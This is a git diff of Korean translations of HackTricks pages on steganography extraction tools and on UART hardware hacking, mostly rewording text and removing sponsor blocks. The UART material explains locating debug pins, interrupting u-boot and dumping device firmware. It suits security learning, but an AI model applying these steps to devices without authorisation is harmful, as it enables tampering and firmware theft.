**8보다 작으면** **`DAT_030000d8`**에 값을 **더하는** 작업이 수행됩니다 (기본적으로 cont가 8보다 작을 때 이 변수에 눌린 키의 값을 더하고 있습니다).
|
**8보다 작으면** **`DAT_030000d8`**에 값을 **더하는** 작업이 수행됩니다 (기본적으로 cont가 8보다 작을 때 이 변수에 눌린 키의 값을 더하고 있습니다).
|
||||||
|
@ -408,22 +400,16 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (이진 역난독화)
|
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (이진 역난독화)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나, **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## **파일에서 데이터 추출하기**
|
## **파일에서 데이터 추출하기**
|
||||||
|
|
||||||
### **Binwalk**
|
### **Binwalk**
|
||||||
|
@ -75,7 +67,7 @@ strings -e B -n 6 file # 32bit strings (big-endian)
|
||||||
```bash
|
```bash
|
||||||
cmp original.jpg stego.jpg -b -l
|
cmp original.jpg stego.jpg -b -l
|
||||||
```
|
```
|
||||||
## **숨겨진 데이터 추출하기**
|
## **텍스트에서 숨겨진 데이터 추출하기**
|
||||||
|
|
||||||
### **공간에서 숨겨진 데이터**
|
### **공간에서 숨겨진 데이터**
|
||||||
|
|
||||||
|
@ -146,7 +138,7 @@ pngcheck stego.png
|
||||||
```
|
```
|
||||||
### **이미지 분석을 위한 추가 도구**
|
### **이미지 분석을 위한 추가 도구**
|
||||||
|
|
||||||
더 많은 탐색을 원하시면 다음을 방문해 보세요:
|
더 많은 탐색을 원하신다면 다음을 방문해 보세요:
|
||||||
|
|
||||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||||
|
@ -174,7 +166,7 @@ ffmpeg -v info -i stego.mp3 -f null -
|
||||||
```
|
```
|
||||||
### **WavSteg (WAV)**
|
### **WavSteg (WAV)**
|
||||||
|
|
||||||
WavSteg는 가장 덜 중요한 비트 전략을 사용하여 WAV 파일 내에서 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 접근할 수 있습니다. 명령어는 다음과 같습니다:
|
WavSteg은 가장 덜 중요한 비트 전략을 사용하여 WAV 파일 내에서 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 접근할 수 있습니다. 명령어는 다음과 같습니다:
|
||||||
```bash
|
```bash
|
||||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||||
|
|
||||||
|
@ -201,34 +193,28 @@ Sonic Visualizer는 오디오 파일의 시각적 및 분석적 검사를 위한
|
||||||
import math
|
import math
|
||||||
math.sqrt(2500) #50
|
math.sqrt(2500) #50
|
||||||
```
|
```
|
||||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
이진수를 이미지로 변환하려면 [dcode](https://www.dcode.fr/binary-image)를 확인하세요. QR 코드를 읽으려면 [이 온라인 바코드 리더](https://online-barcode-reader.inliteresearch.com/)를 사용하세요.
|
||||||
|
|
||||||
### **점자 번역**
|
### **점자 번역**
|
||||||
|
|
||||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
점자를 번역하기 위해 [Branah Braille Translator](https://www.branah.com/braille-translator)는 훌륭한 자원입니다.
|
||||||
|
|
||||||
## **참고문헌**
|
## **참고문헌**
|
||||||
|
|
||||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
## Basic Information
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹**에서 제공되는 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
UART는 직렬 프로토콜로, 구성 요소 간에 데이터를 한 번에 한 비트씩 전송합니다. 반면, 병렬 통신 프로토콜은 여러 채널을 통해 데이터를 동시에 전송합니다. 일반적인 직렬 프로토콜에는 RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express 및 USB가 포함됩니다.
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격을 방지하는 것입니다.
|
일반적으로 UART가 유휴 상태일 때 라인은 높은 상태(논리 1 값)로 유지됩니다. 그런 다음 데이터 전송의 시작을 신호하기 위해 송신자는 수신자에게 시작 비트를 전송하며, 이 동안 신호는 낮은 상태(논리 0 값)로 유지됩니다. 다음으로 송신자는 실제 메시지를 포함하는 5~8개의 데이터 비트를 전송하고, 선택적으로 패리티 비트와 하나 또는 두 개의 정지 비트(논리 1 값)를 전송합니다. 오류 검사용으로 사용되는 패리티 비트는 실제로는 거의 보이지 않습니다. 정지 비트(또는 비트)는 전송의 끝을 나타냅니다.
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## 기본 정보
|
|
||||||
|
|
||||||
UART는 직렬 프로토콜로, 이는 데이터를 구성 요소 간에 한 번에 한 비트씩 전송함을 의미합니다. 반면, 병렬 통신 프로토콜은 여러 채널을 통해 데이터를 동시에 전송합니다. 일반적인 직렬 프로토콜에는 RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express 및 USB가 포함됩니다.
|
|
||||||
|
|
||||||
일반적으로 UART가 유휴 상태일 때 라인은 높은 상태(논리 1 값)를 유지합니다. 그런 다음 데이터 전송의 시작을 신호하기 위해 송신자는 수신자에게 시작 비트를 전송하며, 이때 신호는 낮은 상태(논리 0 값)로 유지됩니다. 다음으로 송신자는 실제 메시지를 포함하는 5~8개의 데이터 비트를 전송하고, 선택적으로 패리티 비트와 하나 또는 두 개의 정지 비트(논리 1 값)를 전송합니다. 오류 검사용으로 사용되는 패리티 비트는 실제로는 거의 보이지 않습니다. 정지 비트(또는 비트)는 전송의 끝을 나타냅니다.
|
|
||||||
|
|
||||||
가장 일반적인 구성은 8N1이라고 부릅니다: 8개의 데이터 비트, 패리티 없음, 1개의 정지 비트. 예를 들어, 문자 C 또는 ASCII에서 0x43을 8N1 UART 구성으로 전송하고자 한다면 다음 비트를 전송합니다: 0(시작 비트); 0, 1, 0, 0, 0, 0, 1, 1(0x43의 이진 값), 그리고 0(정지 비트).
|
가장 일반적인 구성은 8N1이라고 부릅니다: 8개의 데이터 비트, 패리티 없음, 1개의 정지 비트. 예를 들어, 문자 C 또는 ASCII에서 0x43을 8N1 UART 구성으로 전송하고자 한다면 다음 비트를 전송합니다: 0(시작 비트); 0, 1, 0, 0, 0, 0, 1, 1(0x43의 이진 값), 그리고 0(정지 비트).
|
||||||
|
|
||||||
|
@ -45,32 +32,32 @@ UART와 통신하기 위한 하드웨어 도구:
|
||||||
* CP2102 또는 PL2303 칩이 있는 어댑터
|
* CP2102 또는 PL2303 칩이 있는 어댑터
|
||||||
* Bus Pirate, Adafruit FT232H, Shikra 또는 Attify Badge와 같은 다목적 도구
|
* Bus Pirate, Adafruit FT232H, Shikra 또는 Attify Badge와 같은 다목적 도구
|
||||||
|
|
||||||
### UART 포트 식별
|
### Identifying UART Ports
|
||||||
|
|
||||||
UART에는 4개의 포트가 있습니다: **TX**(전송), **RX**(수신), **Vcc**(전압), 및 **GND**(접지). PCB에 **`TX`** 및 **`RX`** 문자가 **표기된** 4개의 포트를 찾을 수 있을 것입니다. 그러나 표시가 없다면 **멀티미터** 또는 **로직 분석기**를 사용하여 직접 찾아야 할 수도 있습니다.
|
UART에는 4개의 포트가 있습니다: **TX**(전송), **RX**(수신), **Vcc**(전압), 및 **GND**(접지). PCB에 **`TX`** 및 **`RX`** 문자가 **표기된** 4개의 포트를 찾을 수 있을 것입니다. 그러나 표시가 없다면 **멀티미터** 또는 **로직 분석기**를 사용하여 스스로 찾아야 할 수도 있습니다.
|
||||||
|
|
||||||
**멀티미터**와 장치가 꺼진 상태에서:
|
**멀티미터**와 장치 전원이 꺼진 상태에서:
|
||||||
|
|
||||||
* **GND** 핀을 식별하려면 **연속성 테스트** 모드를 사용하고, 검은 리드를 접지에 놓고 빨간 리드로 테스트하여 멀티미터에서 소리가 날 때까지 테스트합니다. PCB에서 여러 GND 핀을 찾을 수 있으므로 UART에 해당하는 핀을 찾았는지 여부는 확실하지 않을 수 있습니다.
|
* **GND** 핀을 식별하려면 **연속성 테스트** 모드를 사용하고, 검은색 리드를 접지에 놓고 빨간색 리드로 소리가 날 때까지 테스트합니다. PCB에서 여러 GND 핀을 찾을 수 있으므로 UART에 해당하는 핀을 찾았는지 여부는 불확실할 수 있습니다.
|
||||||
* **VCC 포트**를 식별하려면 **DC 전압 모드**로 설정하고 20V로 설정합니다. 검은 프로브를 접지에 놓고 빨간 프로브를 핀에 놓습니다. 장치를 켭니다. 멀티미터가 3.3V 또는 5V의 일정한 전압을 측정하면 Vcc 핀을 찾은 것입니다. 다른 전압이 나오면 다른 포트로 다시 시도합니다.
|
* **VCC 포트**를 식별하려면 **DC 전압 모드**로 설정하고 20V로 설정합니다. 검은색 프로브를 접지에 놓고 빨간색 프로브를 핀에 놓습니다. 장치를 켭니다. 멀티미터가 3.3V 또는 5V의 일정한 전압을 측정하면 Vcc 핀을 찾은 것입니다. 다른 전압이 나오면 다른 포트로 다시 시도합니다.
|
||||||
* **TX** **포트**를 식별하려면, **DC 전압 모드**를 20V로 설정하고 검은 프로브를 접지에 놓고 빨간 프로브를 핀에 놓고 장치를 켭니다. 전압이 몇 초 동안 변동하다가 Vcc 값으로 안정화되면 TX 포트를 찾은 것입니다. 이는 전원이 켜질 때 일부 디버그 데이터를 전송하기 때문입니다.
|
* **TX** **포트**를 식별하려면, **DC 전압 모드**를 20V로 설정하고 검은색 프로브를 접지에 놓고 빨간색 프로브를 핀에 놓고 장치를 켭니다. 전압이 몇 초 동안 변동하다가 Vcc 값으로 안정화되면 TX 포트를 찾은 것입니다. 이는 전원이 켜질 때 일부 디버그 데이터를 전송하기 때문입니다.
|
||||||
* **RX 포트**는 나머지 3개 포트와 가장 가까운 포트로, 전압 변동이 가장 적고 모든 UART 핀 중에서 가장 낮은 전체 값을 가집니다.
|
* **RX 포트**는 나머지 3개 포트와 가장 가까운 포트로, 전압 변동이 가장 적고 모든 UART 핀 중에서 가장 낮은 전체 값을 가집니다.
|
||||||
|
|
||||||
TX와 RX 포트를 혼동해도 아무 일도 일어나지 않지만, GND와 VCC 포트를 혼동하면 회로가 손상될 수 있습니다.
|
TX와 RX 포트를 혼동해도 아무 일도 일어나지 않지만, GND와 VCC 포트를 혼동하면 회로가 손상될 수 있습니다.
|
||||||
|
|
||||||
일부 대상 장치에서는 제조업체가 RX 또는 TX 또는 두 개 모두를 비활성화하여 UART 포트를 비활성화합니다. 이 경우 회로 기판의 연결을 추적하고 일부 브레이크아웃 포인트를 찾는 것이 도움이 될 수 있습니다. UART가 감지되지 않고 회로가 끊어졌다는 것을 확인하는 강력한 힌트는 장치 보증을 확인하는 것입니다. 장치가 보증과 함께 배송되었다면, 제조업체는 일부 디버그 인터페이스(이 경우 UART)를 남겨두고, 따라서 UART를 분리했을 것이며 디버깅 중에 다시 연결해야 합니다. 이러한 브레이크아웃 핀은 납땜하거나 점퍼 와이어로 연결할 수 있습니다.
|
일부 대상 장치에서는 제조업체가 RX 또는 TX 또는 두 개 모두를 비활성화하여 UART 포트를 비활성화합니다. 이 경우 회로 기판의 연결을 추적하고 일부 브레이크아웃 포인트를 찾는 것이 도움이 될 수 있습니다. UART의 감지가 없고 회로가 끊어졌음을 확인하는 강력한 힌트는 장치 보증을 확인하는 것입니다. 장치가 보증과 함께 배송된 경우, 제조업체는 일부 디버그 인터페이스(이 경우 UART)를 남겨두고, 따라서 UART를 분리했으며 디버깅 중에 다시 연결해야 합니다. 이러한 브레이크아웃 핀은 납땜하거나 점퍼 와이어로 연결할 수 있습니다.
|
||||||
|
|
||||||
### UART 전송 속도 식별
|
### Identifying the UART Baud Rate
|
||||||
|
|
||||||
올바른 전송 속도를 식별하는 가장 쉬운 방법은 **TX 핀의 출력을 보고 데이터를 읽어보는** 것입니다. 수신한 데이터가 읽을 수 없다면, 다음 가능한 전송 속도로 전환하여 데이터가 읽을 수 있을 때까지 반복합니다. USB-직렬 어댑터나 Bus Pirate와 같은 다목적 장치를 사용하여 이를 수행할 수 있으며, [baudrate.py](https://github.com/devttys0/baudrate/)와 같은 도우미 스크립트를 사용할 수 있습니다. 가장 일반적인 전송 속도는 9600, 38400, 19200, 57600 및 115200입니다.
|
올바른 전송 속도를 식별하는 가장 쉬운 방법은 **TX 핀의 출력을 보고 데이터를 읽어보는 것**입니다. 수신한 데이터가 읽을 수 없다면 다음 가능한 전송 속도로 전환하여 데이터가 읽을 수 있을 때까지 반복합니다. USB-직렬 어댑터나 Bus Pirate와 같은 다목적 장치를 사용하여 이를 수행할 수 있으며, [baudrate.py](https://github.com/devttys0/baudrate/)와 같은 도우미 스크립트와 함께 사용할 수 있습니다. 가장 일반적인 전송 속도는 9600, 38400, 19200, 57600 및 115200입니다.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
이 프로토콜에서는 한 장치의 TX를 다른 장치의 RX에 연결해야 한다는 점에 유의하는 것이 중요합니다!
|
이 프로토콜에서는 한 장치의 TX를 다른 장치의 RX에 연결해야 한다는 점에 유의하는 것이 중요합니다!
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## CP210X UART to TTY 어댑터
|
## CP210X UART to TTY Adapter
|
||||||
|
|
||||||
CP210X 칩은 Serial Communication을 위해 NodeMCU(esp8266 포함)와 같은 많은 프로토타입 보드에서 사용됩니다. 이러한 어댑터는 상대적으로 저렴하며 대상의 UART 인터페이스에 연결하는 데 사용할 수 있습니다. 이 장치는 5개의 핀을 가지고 있습니다: 5V, GND, RXD, TXD, 3.3V. 손상 방지를 위해 대상이 지원하는 전압으로 연결해야 합니다. 마지막으로 어댑터의 RXD 핀을 대상의 TXD에, 어댑터의 TXD 핀을 대상의 RXD에 연결합니다.
|
CP210X 칩은 Serial Communication을 위해 NodeMCU(esp8266 포함)와 같은 많은 프로토타입 보드에서 사용됩니다. 이러한 어댑터는 상대적으로 저렴하며 대상의 UART 인터페이스에 연결하는 데 사용할 수 있습니다. 이 장치는 5개의 핀을 가지고 있습니다: 5V, GND, RXD, TXD, 3.3V. 손상을 방지하기 위해 대상이 지원하는 전압으로 연결해야 합니다. 마지막으로 어댑터의 RXD 핀을 대상의 TXD에, 어댑터의 TXD 핀을 대상의 RXD에 연결합니다.
|
||||||
|
|
||||||
어댑터가 감지되지 않는 경우, 호스트 시스템에 CP210X 드라이버가 설치되어 있는지 확인하십시오. 어댑터가 감지되고 연결되면 picocom, minicom 또는 screen과 같은 도구를 사용할 수 있습니다.
|
어댑터가 감지되지 않는 경우, 호스트 시스템에 CP210X 드라이버가 설치되어 있는지 확인하십시오. 어댑터가 감지되고 연결되면 picocom, minicom 또는 screen과 같은 도구를 사용할 수 있습니다.
|
||||||
|
|
||||||
|
@ -78,7 +65,7 @@ Linux/MacOS 시스템에 연결된 장치를 나열하려면:
|
||||||
```
|
```
|
||||||
ls /dev/
|
ls /dev/
|
||||||
```
|
```
|
||||||
UART 인터페이스와 기본 상호작용을 위해 다음 명령어를 사용하세요:
|
UART 인터페이스와 기본적으로 상호작용하려면 다음 명령어를 사용하세요:
|
||||||
```
|
```
|
||||||
picocom /dev/<adapter> --baud <baudrate>
|
picocom /dev/<adapter> --baud <baudrate>
|
||||||
```
|
```
|
||||||
|
@ -86,15 +73,15 @@ minicom의 경우, 다음 명령어를 사용하여 구성합니다:
|
||||||
```
|
```
|
||||||
minicom -s
|
minicom -s
|
||||||
```
|
```
|
||||||
Configure the settings such as baudrate and device name in the `Serial port setup` option.
|
`Serial port setup` 옵션에서 baudrate 및 장치 이름과 같은 설정을 구성합니다.
|
||||||
|
|
||||||
After configuration, use the command `minicom` to start get the UART Console.
|
구성이 완료되면 `minicom` 명령어를 사용하여 UART 콘솔을 시작합니다.
|
||||||
|
|
||||||
## UART Via Arduino UNO R3 (Removable Atmel 328p Chip Boards)
|
## Arduino UNO R3를 통한 UART (탈착 가능한 Atmel 328p 칩 보드)
|
||||||
|
|
||||||
UART Serial to USB 어댑터가 없는 경우, Arduino UNO R3를 빠른 해킹으로 사용할 수 있습니다. Arduino UNO R3는 일반적으로 어디서나 구할 수 있으므로 많은 시간을 절약할 수 있습니다.
|
UART Serial to USB 어댑터를 사용할 수 없는 경우, Arduino UNO R3를 빠른 해킹으로 사용할 수 있습니다. Arduino UNO R3는 일반적으로 어디서나 구할 수 있으므로 많은 시간을 절약할 수 있습니다.
|
||||||
|
|
||||||
Arduino UNO R3는 보드 자체에 USB to Serial 어댑터가 내장되어 있습니다. UART 연결을 얻으려면 Atmel 328p 마이크로컨트롤러 칩을 보드에서 분리하기만 하면 됩니다. 이 해킹은 Atmel 328p가 보드에 납땜되지 않은 Arduino UNO R3 변형에서 작동합니다 (SMD 버전이 사용됩니다). Arduino의 RX 핀 (디지털 핀 0)을 UART 인터페이스의 TX 핀에 연결하고 Arduino의 TX 핀 (디지털 핀 1)을 UART 인터페이스의 RX 핀에 연결합니다.
|
Arduino UNO R3에는 보드 자체에 USB to Serial 어댑터가 내장되어 있습니다. UART 연결을 얻으려면 보드에서 Atmel 328p 마이크로컨트롤러 칩을 빼내기만 하면 됩니다. 이 해킹은 Atmel 328p가 보드에 납땜되지 않은 Arduino UNO R3 변형에서 작동합니다(여기서는 SMD 버전이 사용됩니다). Arduino의 RX 핀(디지털 핀 0)을 UART 인터페이스의 TX 핀에 연결하고 Arduino의 TX 핀(디지털 핀 1)을 UART 인터페이스의 RX 핀에 연결합니다.
|
||||||
|
|
||||||
마지막으로, Serial Console을 얻기 위해 Arduino IDE를 사용하는 것이 좋습니다. 메뉴의 `tools` 섹션에서 `Serial Console` 옵션을 선택하고 UART 인터페이스에 따라 baud rate를 설정합니다.
|
마지막으로, Serial Console을 얻기 위해 Arduino IDE를 사용하는 것이 좋습니다. 메뉴의 `tools` 섹션에서 `Serial Console` 옵션을 선택하고 UART 인터페이스에 따라 baud rate를 설정합니다.
|
||||||
|
|
||||||
|
@ -174,13 +161,13 @@ waiting a few secs to repeat....
|
||||||
```
|
```
|
||||||
## Dumping Firmware with UART Console
|
## Dumping Firmware with UART Console
|
||||||
|
|
||||||
UART Console은 런타임 환경에서 기본 펌웨어와 작업할 수 있는 훌륭한 방법을 제공합니다. 그러나 UART Console 접근이 읽기 전용일 경우 많은 제약이 있을 수 있습니다. 많은 임베디드 장치에서 펌웨어는 EEPROM에 저장되고 휘발성 메모리를 가진 프로세서에서 실행됩니다. 따라서 원래 펌웨어가 EEPROM 자체에 있기 때문에 펌웨어는 읽기 전용으로 유지되며, 새로운 파일은 휘발성 메모리로 인해 손실될 수 있습니다. 따라서 임베디드 펌웨어 작업 시 펌웨어 덤프는 귀중한 노력입니다.
|
UART Console은 런타임 환경에서 기본 펌웨어와 작업할 수 있는 훌륭한 방법을 제공합니다. 그러나 UART Console 접근이 읽기 전용인 경우 많은 제약이 있을 수 있습니다. 많은 임베디드 장치에서 펌웨어는 EEPROM에 저장되고 휘발성 메모리를 가진 프로세서에서 실행됩니다. 따라서 원래 펌웨어가 제조 중 EEPROM 자체에 있기 때문에 펌웨어는 읽기 전용으로 유지되며, 새로운 파일은 휘발성 메모리로 인해 손실될 수 있습니다. 따라서 임베디드 펌웨어 작업 시 펌웨어 덤프는 귀중한 노력입니다.
|
||||||
|
|
||||||
이를 수행하는 방법은 여러 가지가 있으며, SPI 섹션에서는 다양한 장치를 사용하여 EEPROM에서 직접 펌웨어를 추출하는 방법을 다룹니다. 그러나 물리적 장치와 외부 상호작용을 통한 펌웨어 덤프는 위험할 수 있으므로 먼저 UART를 사용하여 펌웨어를 덤프하는 것을 권장합니다.
|
이를 수행하는 방법은 여러 가지가 있으며, SPI 섹션에서는 다양한 장치를 사용하여 EEPROM에서 직접 펌웨어를 추출하는 방법을 다룹니다. 그러나 물리적 장치와 외부 상호작용을 통해 펌웨어를 덤프하는 것은 위험할 수 있으므로 먼저 UART를 사용하여 펌웨어를 덤프하는 것을 권장합니다.
|
||||||
|
|
||||||
UART Console에서 펌웨어를 덤프하려면 먼저 부트로더에 접근해야 합니다. 많은 인기 있는 공급업체는 Linux를 로드하기 위해 uboot(Universal Bootloader)를 부트로더로 사용합니다. 따라서 uboot에 접근하는 것이 필요합니다.
|
UART Console에서 펌웨어를 덤프하려면 먼저 부트로더에 접근해야 합니다. 많은 인기 있는 공급업체는 Linux를 로드하기 위해 uboot(Universal Bootloader)를 부트로더로 사용합니다. 따라서 uboot에 접근하는 것이 필요합니다.
|
||||||
|
|
||||||
부트 부트로더에 접근하려면 UART 포트를 컴퓨터에 연결하고 Serial Console 도구 중 하나를 사용하며 장치의 전원 공급 장치를 분리합니다. 설정이 완료되면 Enter 키를 누르고 유지합니다. 마지막으로 장치에 전원 공급 장치를 연결하고 부팅을 시작합니다.
|
부트 부트로더에 접근하려면 UART 포트를 컴퓨터에 연결하고 Serial Console 도구 중 하나를 사용하며 장치의 전원 공급 장치를 분리합니다. 설정이 준비되면 Enter 키를 누르고 유지합니다. 마지막으로 장치에 전원 공급 장치를 연결하고 부팅을 시작합니다.
|
||||||
|
|
||||||
이렇게 하면 uboot의 로딩이 중단되고 메뉴가 제공됩니다. uboot 명령을 이해하고 도움말 메뉴를 사용하여 목록을 나열하는 것이 권장됩니다. 이는 `help` 명령일 수 있습니다. 공급업체마다 다른 구성을 사용하므로 각 구성을 개별적으로 이해하는 것이 필요합니다.
|
이렇게 하면 uboot의 로딩이 중단되고 메뉴가 제공됩니다. uboot 명령을 이해하고 도움말 메뉴를 사용하여 목록을 나열하는 것이 권장됩니다. 이는 `help` 명령일 수 있습니다. 공급업체마다 다른 구성을 사용하므로 각 구성을 개별적으로 이해하는 것이 필요합니다.
|
||||||
|
|
||||||
|
@ -197,30 +184,3 @@ binwalk -e <filename.rom>
|
||||||
이것은 헥스 파일에서 발견된 서명에 따라 EEPROM의 가능한 내용을 나열합니다.
|
이것은 헥스 파일에서 발견된 서명에 따라 EEPROM의 가능한 내용을 나열합니다.
|
||||||
|
|
||||||
